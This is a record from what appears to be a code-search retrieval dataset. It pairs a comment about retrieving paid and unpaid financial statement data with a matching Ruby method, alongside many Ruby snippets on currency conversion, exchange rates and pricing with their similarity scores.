@@rates[@currency])\n\n # current currency must be equal to the base currency and be different from the new currency\n else\n\n # amount is multiplied for the rate of the new currency\n amount = @amount_bigdecimal * (BigDecimal.new(@@rates[new_currency],0))\n\n end\n\n # A new istance is returned with the new currency and the calculated amount\n Xchange.new(amount,new_currency)\n\n end", "def new_prices\n # Since everything is relative to USD, we don't need to fetch it.\n commodities\n .reject { |c| c == \"USD\" }\n .reduce(existing_prices) do |db, c|\n # `|` is a shortcut for merge\n db | prices_for_symbol(c, start_date: start_date, end_date: end_date)\n .map { |x| price_string_from_result(x, symbol: c) }\n end\n end", "def to_presentation(method, target_currency = \"KRW\")\n amount = self.__send__(method)\n if target_currency == \"KRW\"\n @bank ||= Money.default_bank if rate.zero?\n @bank ||= Money::Bank::VariableExchange.new.tap {|b| b.add_rate(\"USD\", target_currency, rate) }\n money = @bank.exchange_with(amount.to_money(Spree::Config[:currency]), target_currency)\n else\n money = amount.to_money(Spree::Config[:currency])\n end\n Spree::Money.new(money ,{currency: target_currency})\n end", "def currency_rates\n @currency_rates = fetch_currency_rates\n end", "def base_currency_to_currency(date, to_currency)\n currency_rate(date, to_currency)\n end", "def currencies(force = false)\n exchange_rates.currencies(force)\n end", "def convert_to(target_currency)\n raise Exception.new(\"'target_currency' must be different from the current currency!\") \\\n if target_currency == self.currency\n result = self.amount * conversion_rate(target_currency)\n DaMoney::Money.new(result, target_currency)\n end", "def souvenir_trading_options(stock_code:, current_position:, current_average_price:, target_average_price:, enter_price: nil, operation_market_value: nil, min_position_delta: 100)\n position_delta = min_multiple_of(operation_market_value / enter_price, min_position_delta)\n\n new_average_price = find_new_average_price(current_position: current_position, current_average_price: current_average_price, position_delta: position_delta, operation_price: enter_price)\n\n result = [\n \"Buy #{position_delta} #{stock_code} at #{format_price(enter_price)} (#{format_price(enter_price * position_delta)}) for a new average of #{format_price(new_average_price)}\"\n ]\n\n result.concat(list_operation_target_price_options(\n current_position: current_position + position_delta,\n current_average_price: new_average_price,\n target_average_price: target_average_price,\n ).select do |operation_target_price_option|\n operation_target_price_option[:price] > (enter_price * 1.025) && operation_target_price_option[:position_delta] > - position_delta\n end.map do |operation_target_price_option|\n final_position = current_position + position_delta + operation_target_price_option[:position_delta]\n\n operation_target_price_option[:text] + \" - keep #{final_position} (#{format_price(final_position * target_average_price)})\"\n end).join \"\\n\"\nend", "def price(_currency)\n raise Sibit::NotSupportedError, 'price() doesn\\'t work here'\n end", "def method_missing(method_id)\n \n singular_currency = method_id.to_s.gsub( /s$/, '') # Take off s at the end of string if there\n\n if @@currencies.has_key?(singular_currency) #\n return self * @@currencies[singular_currency] # Turn into dollars\n end\n \n end", "def +(currency_object)\n if @currency_symb == currency_object.currency_symb\n Currency.new(@amount +currency_object.amount)\n else\n raise UnknownCurrencyCodeError\n end\n #puts \"The value of the new curent currecy is #{@amount}.\" #This will print the new amount.\n #puts \"The value of the currency_object's amout is #{currency_object.amount}\"\nend", "def standardize_currency(input)\n plurals = @currency_set.keys.map{|key| key.pluralize}\n\n plurals.each do |word|\n input.gsub!(/#{word}/,word.singularize)\n end #standardize to singular word for lookup\n\n input.gsub!(/\\s/,\"\") #standardizes spacing\n input.split(\",\")\n end", "def convert_to_currency(target_currency, date = Date.today)\n return self if target_currency == currency\n\n converted_amount = CurrencyExchangeRate.convert(amount, currency, target_currency, date)\n return self.class.new(converted_amount, target_currency)\n end", "def currency\n nil\n end", "def currency\n nil\n end", "def convert_money(from_currency,to_currency)\n exchanger = Exchanger.new(find_wallet_account(from_currency),find_wallet_account(to_currency), find_exchange_rate(from_currency, to_currency))\n exchanger.exchange(:all)\n end", "def set_currency\n self.currency = self.job.currency\n end", "def to_dollars(currency_code, amount)\n curr = RATES.fetch(currency_code)\n total = amount * curr\n return total.round(2)\nend", "def current_company_curr\n Currency.where('client_id = ? and default_currency = ?', current_subdomain, \"t\").first.try(:currency_symbol)\n end", "def rate(rated_currency, base_currency, trans, pay_currency, search_id = nil)\n\n# Rails.cache.fetch(\"#{self.id}-#{rated_currency}-#{base_currency}-#{trans}-#{pay_currency}\", expires_in: 0.5.hour) do\n\n# puts \"Not cached yet: inside rate(#{self.id}-#{rated_currency}-#{base_currency}-#{trans}-#{pay_currency})\" unless Rails.env.production?\n\n result = {\n rated_currency: rated_currency,\n base_currency: base_currency,\n buy: nil,\n sell: nil,\n cc_fee: self.cc_fee,\n delivery_charge: self.delivery_charge,\n transaction: trans,\n pay_currency: pay_currency,\n error: nil,\n rates_update: nil,\n source: nil,\n exchange_id: self.id,\n bank_fee: nil,\n offer_update: Time.now\n }\n\n rated_rates = find_rate(rated_currency, trans, search_id)\n if rated_rates[:error]\n result[:error] = rated_rates[:error]\n# Rails.cache.write(\"#{self.id}-#{rated_currency}-#{base_currency}-#{trans}-#{pay_currency}\", result, expires_in: 0.5.hour)\n return result\n end\n\n base_rates = find_rate(base_currency, trans, search_id)\n if base_rates[:error]\n result[:error] = base_rates[:error]\n# Rails.cache.write(\"#{self.id}-#{rated_currency}-#{base_currency}-#{trans}-#{pay_currency}\", result, expires_in: 0.5.hour)\n return result\n end\n\n\n result[:buy] = !base_rates[:buy] || base_rates[:buy] == 0 || !rated_rates[:buy] ? 0 : (rated_rates[:buy] / base_rates[:buy])\n result[:sell] = !base_rates[:sell] || base_rates[:sell] == 0 || !rated_rates[:sell] ? 0 : (rated_rates[:sell] / base_rates[:sell])\n if trans == 'mixed'\n if rated_currency == pay_currency\n result[:mixed] = rated_rates[:buy] / base_rates[:sell]\n else\n result[:mixed] = rated_rates[:sell] / base_rates[:buy]\n end\n else\n result[:mixed] = nil\n end\n result[:rates_update] = [base_rates[:rate_update], rated_rates[:rate_update]].min\n result[:source] = rated_rates[:source] || base_rates[:source]\n result[:bank_fee] = self.bank? ? (self.bank_fee || 0) : nil\n\n result\n\n# end\n\n end", "def currencies\n raise NotImplementedError\n end", "def process_credit_statement\n credit_price_of_metal_coins = 0\n galactic_units = []\n coin_name = \"\"\n @literals.each do |literal|\n if Translation::galactic_words_roman_symbol_assignments.keys.include?(literal) #returns is the literal passed is a valid galactic word e.g glob is valid, prok is valid\n galactic_units << literal \n elsif [\"is\", \"Credits\"].include? literal # Ignore these words, we don't really care of these words in Credit Statement Lines\n next\n elsif literal.to_i > 0 #This is the trade metal coins credit value .eg 2 Silver is '34' \n credit_price_of_metal_coins = literal.to_i #e.g 34\n else\n coin_name = literal #.e.g Silver, Gold, Iron\n end\n end\n if !coin_name.empty? && credit_price_of_metal_coins > 0 && galactic_units.size > 0\n units_of_coin_in_galactic_words = Translation.new(galactic_units.join(' ')) #.e.g glob glob \n units_of_coin_in_numeral = units_of_coin_in_galactic_words.galactic_words_to_numeral #e.g glob glob gets converted to 2\n if units_of_coin_in_numeral > 0\n unit_price = credit_price_of_metal_coins.to_f/units_of_coin_in_numeral #e.g 2 Silver is 34 so Unit Price is 32/2\n TradeMetal.new(coin_name,unit_price)\n else\n throw_away_meaningless_line\n end\n else\n throw_away_meaningless_line\n end\n end", "def process_credit_statement\n\t\tcredit_price_of_metal_coins = 0\n\t\tgalactic_units = []\n\t\tcoin_name = \"\"\n\t\t@literals.each do |literal|\n\t\t\tif Translation::galactic_words_roman_symbol_assignments.keys.include?(literal) #returns is the literal passed is a valid galactic word e.g glob is valid, prok is valid\n\t\t\t\tgalactic_units << literal \n\t\t\telsif [\"is\", \"Credits\"].include? literal # Ignore these words, we don't really care of these words in Credit Statement Lines\n\t\t\t\tnext\n\t\t\telsif literal.to_i > 0 #This is the trade metal coins credit value .eg 2 Silver is '34' \n\t\t\t\tcredit_price_of_metal_coins = literal.to_i #e.g 34\n\t\t\telse\n\t\t\t\tcoin_name = literal #.e.g Silver, Gold, Iron\n\t\t\tend\n\t\tend\n\t\tif !coin_name.empty? && credit_price_of_metal_coins > 0 && galactic_units.size > 0\n\t\t\tunits_of_coin_in_galactic_words = Translation.new(galactic_units.join(' ')) #.e.g glob glob \n\t\t\tunits_of_coin_in_numeral = units_of_coin_in_galactic_words.galactic_words_to_numeral #e.g glob glob gets converted to 2\n\t\t\tif units_of_coin_in_numeral > 0\n\t\t\t\tunit_price = credit_price_of_metal_coins.to_f/units_of_coin_in_numeral #e.g 2 Silver is 34 so Unit Price is 32/2\n\t\t\t\tTradeMetal.new(coin_name,unit_price)\n\t\t\telse\n\t\t\t\tthrow_away_meaningless_line\n\t\t\tend\n\t\telse\n\t\t\tthrow_away_meaningless_line\n\t\tend\n\tend", "def find_price_by_currency(currency)\n self.prices.find_by_currency(currency)\n end", "def get_current_currency\r\r\n $game_party.current_currency[:sym]\r\r\n end", "def price(raw_coin, raw_date=nil)\r\n \r\n coin = raw_coin.downcase.split.map(&:capitalize).join(' ')\r\n \r\n return self.coin(coin).quote['USD']['price'].to_f if raw_date.nil?\r\n puts 'raw_date: ' + raw_date.inspect if @debug\r\n \r\n date = if raw_date.is_a? Date then\r\n raw_date.strftime(\"%Y%m%d\")\r\n else\r\n Chronic.parse(raw_date.gsub('-',' ')).strftime(\"%d%m%Y\")\r\n end\r\n puts 'date: ' + date.inspect if @debug\r\n \r\n # if date is today then return today's price\r\n \r\n if date == Date.today.strftime(\"%d%m%Y\")\r\n puts 'same day' if @debug\r\n return self.coin(coin).quote['USD']['price'].to_f \r\n end\r\n \r\n \r\n if @history_prices[coin] and @history_prices[coin][date] then\r\n @history_prices[coin][date]\r\n else\r\n begin\r\n \r\n if @debug then\r\n puts 'coin: ' + coin.inspect \r\n puts 'date: ' + date.inspect\r\n end\r\n \r\n #a = Coinmarketcap.get_historical_price(coin.gsub(/ /,'-'), date, date)\r\n #puts 'a: ' + a.inspect if @debug \r\n \r\n #r = a.any? ? a.first[:close] : self.coin(coin).quote['USD']['price'].to_f \r\n price = @cq.historical_price coin, date\r\n r = price ? price.to_f : self.coin(coin).quote['USD']['price'].to_f \r\n @history_prices[coin] ||= {}\r\n @history_prices[coin][date] = r\r\n File.write @historic_prices_file, @history_prices.to_yaml\r\n \r\n return r\r\n \r\n rescue\r\n puts ($!).inspect if @debug\r\n end\r\n end\r\n \r\n end", "def fetch_currency_rate(currency_type)\n if currency_type == \"EUR\"\n product_price_details\n else\n fetch_updated_currency_rate(currency_type)\n end\n end", "def currency_converter amount, location\n case location\n when 'US' then \"$%.2f\" % amount\n when 'Japan' then \"$%.0f\" % amount\n when 'UK' then (\"$%.2f\" % amount).gsub('.', ',')\n end\nend", "def fetch_updated_currency_rate(currency_type)\n currency_rate = nil\n ApplicationController.new.fetch_currency_rates.select{ |currency| currency_rate = currency if currency[:currency] == currency_type }\n if currency_rate.present?\n actual_price = price.to_f * currency_rate[:rate].to_f\n currency_details = {:currency => currency_type, :price => actual_price.round(2)}\n else\n currency_details = product_price_details\n end\n currency_details\n end", "def currency\n @currency ||= 'AUD'\n end", "def convert hash\n currency = detect_currency hash[:currency]\n return nil if currency == :not_expected\n\n amount = (hash[:amount]).delete(' _').sub(',', '.').to_f\n usdrub_rate = (usd_base_json['rates']['RUB']).to_f\n usdeur_rate = (usd_base_json['rates']['EUR']).to_f\n usdcad_rate = (usd_base_json['rates']['CAD']).to_f\n\n rate = usdrub_rate\n rate = usdrub_rate / usdeur_rate if currency == :EUR\n rate = usdrub_rate / usdcad_rate if currency == :CAD\n\n change_currency = currency != :RUB ? :RUB : :USD\n result = change_currency == :RUB ? (amount * rate) : (amount / rate)\n\n \"#{space_in result.round(2)} #{change_currency}\"\nend", "def convert_to(to_currency)\n Money.new(self.amount * exchange_rate(to_currency), to_currency)\n end", "def exchange(money_object, new_currency, options = {})\n return nil unless tradeable?(money_object.currency) # if you can't trade a currency return nil\n \n options[:exclude_commission] ||= false\n if money_object.currency != new_currency\n # find the exchange appropriate exchange rates, convert to big decimal to avoid floating point errors\n old_rate = BigDecimal.new(self.rate_for(money_object.currency).to_s)\n new_rate = BigDecimal.new(self.rate_for(new_currency).to_s)\n # do the calculation -> new currency = new rate / old rate * amount\n new_amount = money_object.to_big_decimal * (new_rate / old_rate )\n # add in some commission if appropriate to take into account non mid market rates most sellers achieve\n new_amount = new_amount * (1 + self.commission) unless options[:exclude_commission] || self.commission == 0\n # convert to new money currency \n new_amount.to_f.to_money(:currency => new_currency)\n \n else\n money_object\n end\n end", "def active_sale_in(currency)\n price_in(currency).active_sale\n end", "def currency\n\t\t\"USD\"\n\tend", "def currency_list\n list = [[price_currency, price_currency]]\n list << [alt1_price_currency, alt1_price_currency] unless alt1_price_currency.blank?\n list << [alt2_price_currency, alt2_price_currency] unless alt2_price_currency.blank?\n list\n end", "def to_currency\n reverse.scan(/(?:\\d*\\.)?\\d{1,3}-?/).join(',').reverse\n end", "def currency(recalculate=false)\n (!recalculate && super()) || line_items.first.try(:currency)\n end", "def get_currency_multiplier\n# Get the current date\n date = Date.today\n# Get the current time. This value is only used for logs\n t1 = Time.now\n# Handle the ActiveRecord::NotFound exception\n begin\n @currency = Currency.find(date)\n rescue\n logger.debug \"No currency multiplier value for \" + Time.now.strftime(\"%m/%d/%Y\")\n end\n\n unless @currency\n while(true)\n date = date - 1\n count = 1\n begin\n @currency = Currency.find(date)\n rescue\n t = t1 - count\n logger.debug \"No currency multiplier value for \" + t.strftime(\"%m/%d/%Y\")\n end\n if @currency\n break;\n end\n end\n end\n render json: @currency.to_json, status: \"200\"\n end", "def exchange(cents, from_currency, to_currency)\n from_currency.upcase!\n to_currency.upcase!\n if !@rates[from_currency] or !@rates[to_currency] \n raise Money::UnknownRate, \"No conversion rate known for '#{from_currency}' -> '#{to_currency}'\"\n end\n ((cents / @rates[from_currency]) * @rates[to_currency]).round\n end", "def set_price(expression = :default)\n @price = case\n when expression == :default then close\n when expression == :average then (high+low).scale(0.5)\n when expression == :all then (open+close+high+low).scale(0.25)\n when expression.is_a?(Symbol) then send(expression)\n when expression.is_a?(String) then instance_eval(expression)\n end\n end", "def execute(input_set = nil)\n resp = super(input_set)\n results = ConvertCurrencyResultSet.new(resp)\n return results\n end", "def updatePrice()\n\t\t# ビットコインヒストリカルデータの取得\n\t\tget_btc_api()\n\n\t\t# 日経平均を中心にkabutanで取得できる国内銘柄\n\t\tarrCode = getKabutanTicker()\n # 一気に250銘柄進めようとすると負荷をかけてしまうためまずい→updated_atを見ながら当日取得していない銘柄を5銘柄ずつくらい取得する\n\t\tif !arrCode.nil?\n\t arrCode.each do |code|\n\t\t\t\tticker_without_t = code.gsub(/-T/, '').to_s\n\t getPriceKabutan(ticker_without_t)\n\t end\n\t\tend\n\n\t\t#株価指数(YahooFinanceで取得可能なもの)\n\t\tarrCode = getYahooTicker()\n\t\tif !arrCode.nil?\n\t\t\tarrCode.each_with_index do |code, i|\n\t\t\t\tp \"#{i}番目の株価取得中\"\n\t\t\t\tgetPriceYahoo(code)\n\t\t\tend\n\t\tend\n\tend", "def currency\n money.currency\n end", "def convert_to(exchange_currency)\n begin\n exchange_currency = Money::InputSanitizer.sanitize_currency(exchange_currency,Money::CrossRate.get_all_available_currencies)\n Money::LiveConverter.new(@amount.to_f*Money::CrossRate.get_cross_value_for_currency(@currency,exchange_currency),exchange_currency)\n rescue RuntimeError => e\n puts \"#{e.message}\"\n end\n end", "def iv_exchange_currency(currency1, currency2, amount1, amount2)\r\r\n lose_currency(currency1, amount1)\r\r\n gain_currency(currency2, amount2)\r\r\n end", "def populate_product_price_in_multi_currency\n\tcurrency = Currency.new\n\tcurrency.create_product_currency(@product_ids)\nend", "def price_in(currency)\n get_price_in(currency) || prices.first || Spree::Price.new(:variant_id => self.id, :currency => currency)\n end", "def currency_filter(selection)\n\t\t\tif selection == 'any'\n\t\t\t\tself.all\n\t\t\telse\n\t\t\t\tself.where(name_of_class + '.currency = ?', selection)\n\t\t\tend\n\t\tend", "def stock_price_selector(*symbol_array)\n symbol_array.each do |symbol|\n stock_written = HistoricalStockQuote.write_price_by_symbol(symbol)\n end\nend", "def conversion_rates(currency=\"EUR\",cross_rate={'USD' => 1.11, 'Bitcoin' => 0.0047})\n @currency = Money::InputSanitizer.sanitize_currency(currency)\n @cross_rate = Money::InputSanitizer.sanitize_cross_rate(cross_rate)\n end", "def price(coin_name, qty, btc: nil, date: nil)\n \n price_usd = if date then\n @ccf.price coin_name, date\n else\n coin = @ccf.find(coin_name) \n coin.price_usd.to_f \n end\n \n \"%.2f %s\" % [(price_usd * qty.to_f) * @jer.rate(@mycurrency), \n @mycurrency]\n end", "def available_currency\n # GROUP THE ORDER BY THE CURRENCY, AND TOTAL THE AMOUNT FOR THAT CURRENCY\n grouped_orders = orders.group_by(&:converted_currency)\n grouped_orders.map{|c| {c[0].denomination => c[1].map(&:purchase_amount).reduce(:+)}}\n end", "def list_price\n self.phone_price ||= BigDecimal.new('0.0')\n self.update_price ||= BigDecimal.new('0.0')\n @list_price ||= phone_price + update_price\n end", "def price_in_usd\n case @currency\n when :inr\n @price_per_share.to_i * 50\n when :gbp\n @price_per_share.to_i * 2\n else\n @price_per_share.to_i\n end\n end", "def currency_as_string; end", "def calculate_costs\n self.amount = self.transaction.shipping_cost + self.transaction.value\n self.shipping_cost = self.transaction.shipping_cost\n self.commission_rate = self.buyer.account.commission_rate || SiteVariable.get(\"global_commission_rate\").to_f # Calculate commission rate, if neither exist commission is set to 0\n self.commission = Money.new((commission_rate * self.transaction.value.cents).ceil) # Calculate commision as commission_rate * item value (without shipping), round up to nearest cent\n end", "def currency\n params['list_currency']\n end", "def currency\n \"EUR\"\n end", "def get_price_of_the_product(q)\n@pricebid=nil\n$LOG.info('get_price_of_the_product');\n@CID=q[\"USER\"];\n@PID=q[\"PRODUCT\"];\n@product=get_product(@PID)\n\n$LOG.info(@PID.to_s()+' - '+@product.to_s());\n\nif (@product != nil)\n@pricebid=@product[\"DEFPRICE\"]\n@vid=@product[\"VID\"]\n\n$LOG.info(@vid.to_s()+' - '+@pricebid.to_s());\n\n@contracts=get_contracts_by_vendor(@vid); # GET all contracts of vendor\n@contract=@contracts[@CID]\n\n$LOG.info(' contract => '+@contract.to_s());\n\nif (@contract!=nil) # User has contract with vendor\n# CONTRACT EXISTS - IT'S OK TO PUT PRICE \n@prices=get_prices_for_the_product(@PID) \n@pricebid=nil;\nif (@prices != nil)\n@pricebid0=@prices[@CID]\nif (@pricebid0 != nil)\n@pricebid=@pricebid0\nend\nend\nend\n\n\n \nend\n\n$LOG.info(' RESULT => '+@pricebid.to_s());\n\n@pricebid\nend", "def currency\n 'usd'\n end", "def conv_exchange_rate\n currency_exchange.exchange_rate\n end", "def memo(_row)\n 'EUR'\n end", "def currency_code\n h.e_system_currency\n end", "def to_users_currency(fromCurrency, price, precision=2)\n fromRate = PaymentMethod.bitcoin.btc_rates.find_by(code: fromCurrency).rate\n toRate = PaymentMethod.bitcoin.btc_rates.find_by(code: current_user.currency).rate\n number_to_currency( (price * toRate ) / fromRate, unit: \"\", precision: precision)\n end", "def add_rate(currency_iso_from, currency_iso_to, rate); end", "def make_currency_trade(trade)\n instrument = trade.instrument.classify.constantize.find(trade.instrument_id)\n #make sure you have what you are selling\n if trade.typ == \"ask\"\n if portfolio.usd >= trade.amount\n trade.save\n \"Trade executed.\"\n else \n \"You do not have sufficient USD to sell.\"\n end\n elsif trade.typ == \"bid\"\n if portfolio.funds >= trade.amount*trade.price\n trade.save\n \"Trade executed. Check portfolio page.\"\n else\n \"You do not have sufficient funds.\"\n end\n end\n end", "def convert(euros, exchange_rate)\n euros * (exchange_rate / 100)\nend", "def rates(coin='Bitcoin', currencies: %w(EUR GBP))\r\n \r\n jeg = JustExchangeRates.new(base: 'USD', app_id: @exchangerate_key, \r\n debug: @debug)\r\n usd = self.price(coin).round(2)\r\n ([:USD] + currencies.map(&:to_sym)).zip(\r\n [usd, *currencies.map {|currency| (usd * jeg.rate(currency)).round(2) }]\r\n ).to_h\r\n \r\n end", "def base_price_for(object)\n case object\n when Conversation\n object.draft? ? BigDecimal.new(0) : base_price_for(object.customer_number)\n\n when PhoneNumber\n base_price_for(object.number.country.alpha2)\n\n when MiniPhoneNumber\n base_price_for(object.country.alpha2)\n\n when Country\n base_price_for(object.alpha2)\n\n else\n return base_price_for(MiniPhoneNumber.new(object)) if Country.plausible_phone_number?(object)\n \n raise SignalCloud::UnpriceableObjectError, object unless prices.include?(object)\n\n BigDecimal.new prices[object], 8\n end\n end", "def conversion_rate(target_currency)\n if DaMoney::Money.conversion_rates.key? self.currency\n if DaMoney::Money.conversion_rates[self.currency].key? target_currency\n DaMoney::Money.conversion_rates[self.currency][target_currency].to_f\n else\n raise Exception.new(\"Conversion rate from '#{self.currency}' to '#{target_currency}'\" +\n \" if not configured!\")\n end\n else\n raise Exception.new(\"Curreny '#{self.currency}' is not configured!\")\n end\n end", "def price_adjustment \n price_adjustment_fixed / 100.0 \n end", "def us_dollar(cents); end", "def exchange_with(from, to_currency, &block); end", "def transaction_amount(currency_and_amount)\n currency = parse(currency_and_amount).first\n if currency == 'USD'\n amount = parse(currency_and_amount).last.to_f\n else\n amount = currency.to_f unless amount == 0.0\n end\n# self.amount = amount \n end", "def set_currency\n @currencies = Currency.find(params[:id])\n end", "def currency\n \"USD\"\n end" ]
[ "0.6251829", "0.62362576", "0.6193996", "0.60850334", "0.60850334", "0.5972156", "0.59646547", "0.5933741", "0.587779", "0.5779791", "0.5758355", "0.5719037", "0.5708182", "0.5656747", "0.56557554", "0.5612184", "0.5584094", "0.55549437", "0.5552312", "0.55353147", "0.5524599", "0.5510591", "0.5508894", "0.5504174", "0.5497683", "0.5485074", "0.5481809", "0.5473997", "0.5467113", "0.5465573", "0.546334", "0.5461978", "0.545753", "0.5453482", "0.5451516", "0.54439193", "0.5427981", "0.5427981", "0.5426126", "0.54232144", "0.5413791", "0.5413433", "0.5411681", "0.5406998", "0.5378722", "0.5377839", "0.53737193", "0.53719324", "0.5362408", "0.53547686", "0.53537893", "0.5353299", "0.5348346", "0.53300685", "0.5325697", "0.5312758", "0.5307475", "0.5302437", "0.5294451", "0.529166", "0.5286609", "0.5284075", "0.5282758", "0.5274158", "0.5267513", "0.526215", "0.52606285", "0.52551883", "0.52532923", "0.5246157", "0.52456146", "0.5245063", "0.52413356", "0.5241084", "0.5236316", "0.52338386", "0.52327394", "0.5223711", "0.5220164", "0.5210324", "0.5202681", "0.5199458", "0.5192058", "0.51913327", "0.518954", "0.51879936", "0.5187976", "0.51873195", "0.5186265", "0.5181987", "0.5178789", "0.51754856", "0.517051", "0.5166607", "0.5160849", "0.5156041", "0.5155954", "0.5146808", "0.5146477", "0.5144246" ]
0.7560532
0
=begin financial data returned by invoice, credit notes or payments may lack some information, this method's purpose is to retrieve information from part of financial statement(let's say financial stetement is devided in three parts: credit note, invoice and payments) about paid/unpaid financial data. if there is no such data return default, default meaning that there is no paid/unpaid part, so it's count and price is 0. TODO should rename valiable names, cause they dont make much sense. maybe event method name should be renamed Note that price and price including taxes will be converted from default system currency to user selected Params +statement+ part of financial statement +status+ whatever valid status might have the statement Returns +paid/unpaid_statement+ if there is such statement that satisfies condition(status) returns it, else returns default statement. =end
def get_financial_statement(statements, status) statements.each { |statement| if statement.status == status return statement end } #Return default financial data if required stetement was not found Struct.new('We', :count, :price, :price_with_vat, :status) return Struct::We.new(0, 0, 0, status) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def extract_value(attendance, payment_type)\n quota = find_quota\n if payment_type == 'statement_agreement'\n full_price\n elsif attendance.price_band?\n attendance.band_value * attendance.discount\n elsif period_for.present?\n period_for.price * attendance.discount\n elsif quota.first.present?\n quota.first.price * attendance.discount\n else\n (full_price || 0) * attendance.discount\n end\n end", "def servicetax\n if (self.orderid).present?\n servicetax = 0\n if self.product_master.sel_s_tax.blank? || self.product_master.sel_s_tax == 1\n\n servicetaxid = 10040\n servicetaxrate = Orderpaymentmode.find(servicetaxid).charges\n\n maharastracodextraid = 10020\n maharastracodextrarate = Orderpaymentmode.find(maharastracodextraid).charges\n\n maharastracodextracharge = self.total * maharastracodextrarate\n\n cashondeliveryid = 10001\n cashondeliveryrate = Orderpaymentmode.find(cashondeliveryid).charges\n cashondeliverycharge = self.total * cashondeliveryrate\n\n\n\n #add all charges\n servicetax = ((maharastracodextracharge || 0) + (cashondeliverycharge || 0)) * (servicetaxrate || 0)\n\n #check if address is selected\n if self.order_master.customer_address_id.present?\n #check if state is maharastra\n if self.order_master.customer_address.state.upcase == 'MAHARASHTRA'\n\n servicetax = ((maharastracodextracharge || 0) + (cashondeliverycharge || 0)) * (servicetaxrate || 0)\n else\n servicetax = (cashondeliverycharge || 0) * (servicetaxrate || 0)\n\n\n end\n end\n\n #check if paid using credit card is selected\n if self.order_master.orderpaymentmode_id.present?\n if self.order_master.orderpaymentmode_id == 10000\n return 0\n end\n end\n\n end\n\n end\n\n return servicetax.round(2)\nend", "def bank_account_tax_due( account_type, account_amount )\nif account_type == \"normal\"\n return account_amount * 0.10\nelse\n return 0\nend\nend", "def particular_and_discount_details\n include_particular_associations = @financefee.tax_enabled ? [:pay_all_discounts] : [:collection_tax_slabs]\n @fee_particulars = @date.finance_fee_particulars.all(:conditions => \"batch_id=#{@financefee.batch_id}\",\n :include => include_particular_associations).select do |par|\n (par.receiver_type=='Student' and\n par.receiver_id==@student.id) ? par.receiver=@student : par.receiver; (par.receiver.present?) and\n (par.receiver==@student or par.receiver==@financefee.student_category or\n par.receiver==@financefee.batch)\n end\n @categorized_particulars=@fee_particulars.group_by(&:receiver_type)\n if @financefee.tax_enabled?\n @tax_collections = @financefee.tax_collections.all(:include => :tax_slab)\n # (:select => \"distinct tax_collections.*,\n # ctxs.tax_slab_id as tax_slab_id, ffp.name as particular_name\",\n # :include => :tax_slab,\n # :joins => \"INNER JOIN collectible_tax_slabs ctxs\n # ON ctxs.collectible_entity_type = tax_collections.taxable_entity_type AND\n # ctxs.collectible_entity_id = tax_collections.taxable_entity_id AND\n # ctxs.collection_id = #{@financefee.fee_collection_id} AND\n # ctxs.collection_type = 'FinanceFeeCollection'\n # INNER JOIN tax_slabs\n # ON tax_slabs.id = ctxs.tax_slab_id\n # INNER JOIN finance_fee_particulars ffp\n # ON ffp.id=tax_collections.taxable_entity_id\")\n\n @total_tax = @tax_collections.map do |x|\n FedenaPrecision.set_and_modify_precision(x.tax_amount).to_f\n end.sum.to_f\n\n # @tax_slabs = @tax_collections.map {|tax_col| tax_col.tax_slab }.uniq\n\n # @tax_slabs = TaxSlab.all(:conditions => {:id => @tax_collections.keys })\n @tax_slabs = @tax_collections.group_by { |x| x.tax_slab }\n\n @tax_config = Configuration.get_multiple_configs_as_hash(['FinanceTaxIdentificationLabel',\n 'FinanceTaxIdentificationNumber']) if @tax_slabs.present?\n end\n @discounts=@date.fee_discounts.all(:conditions => \"batch_id=#{@financefee.batch_id}\").\n select do |par|\n (par.receiver.present?) and\n ((par.receiver==@financefee.student or\n par.receiver==@financefee.student_category or\n par.receiver==@financefee.batch) and\n (par.master_receiver_type!='FinanceFeeParticular' or\n (par.master_receiver_type=='FinanceFeeParticular' and\n (par.master_receiver.receiver.present? and\n @fee_particulars.collect(&:id).include? par.master_receiver_id) and\n (par.master_receiver.receiver==@financefee.student or\n par.master_receiver.receiver==@financefee.student_category or\n par.master_receiver.receiver==@financefee.batch))))\n end\n @categorized_discounts=@discounts.group_by(&:master_receiver_type)\n @total_discount = 0\n @total_payable=@fee_particulars.map { |s| s.amount }.sum.to_f\n @total_discount =@discounts.map do |d|\n d.master_receiver_type=='FinanceFeeParticular' ?\n (d.master_receiver.amount * d.discount.to_f/(d.is_amount? ? d.master_receiver.amount : 100)) :\n @total_payable * d.discount.to_f/(d.is_amount? ? @total_payable : 100)\n end.sum.to_f unless @discounts.nil?\n end", "def calculate(t, fraud, type)\r\n#\t\tpp \"1\"\r\n\t\treturn 0.0 if type == 'billable' && self.bid_fee #if this fee is a bid fee and we are not looking at the bid fees then return 0, else continue on\r\n\t#\tpp \"2\"\r\n \t\r\n \tfee = self.fixed if self.price_type == 'F'\r\n \r\n fee = (self.fixed + (t.amount * self.percent) + (fraud == '1' ? self.fraud : 0)).at_least(self.min).at_most(self.max) if self.price_type == 'V' #calculate the fee\r\n \r\n return fee if self.sign == '>=' && self.threshold == 0 #if there is no threshold to worry about get out quick...this is what happens the majority of the time\r\n\t\r\n\t\t#if we get here we know we are dealing with a variable fee\r\n\t\t#puts (self.fixed + (t.amount * self.percent) + (fraud == '1' ? self.fraud : 0)).at_least(self.min)\r\n\t#\tfee = (self.fixed + (t.amount * self.percent) + (fraud == '1' ? self.fraud : 0)).at_least(self.min).at_most(self.max) #calculate the fee\r\n\t#\tpp fee\r\n\t#\tpp \"3\"\r\n\t#\treturn fee if self.sign == '>=' && self.threshold == 0 #if there is no threshold to worry about get out quick...this is what happens the majority of the time\r\n\t\t\r\n\t\t#otherwise we need to determine the sign and threshold before we can return\r\n\t\tcase self.sign\r\n\t\t\twhen '>'\r\n\t\t\t #pp \">\"\r\n\t\t\t\treturn fee if t.amount > self.threshold\r\n\t\t\twhen '>='\r\n\t\t\t #pp \">=\"\r\n\t\t\t\treturn fee if t.amount >= self.threshold\r\n\t\t\twhen '<'\r\n\t\t\t #pp \"<\"\r\n\t\t\t\treturn fee if t.amount < self.threshold\r\n\t\t\twhen '<='\r\n\t\t\t #pp \"<=\"\r\n\t\t\t\treturn fee if t.amount <= self.threshold\r\n\t\t\telse\r\n\t\t\t #pp \"4\"\r\n\t\t\t\treturn 0.0\r\n\t\tend\r\n\t\t\r\n\t\t#if we get here then we have no idea what to do so just return 0\r\n\t\treturn 0.0\r\n\tend", "def get_price_of_the_product(q)\n@pricebid=nil\n$LOG.info('get_price_of_the_product');\n@CID=q[\"USER\"];\n@PID=q[\"PRODUCT\"];\n@product=get_product(@PID)\n\n$LOG.info(@PID.to_s()+' - 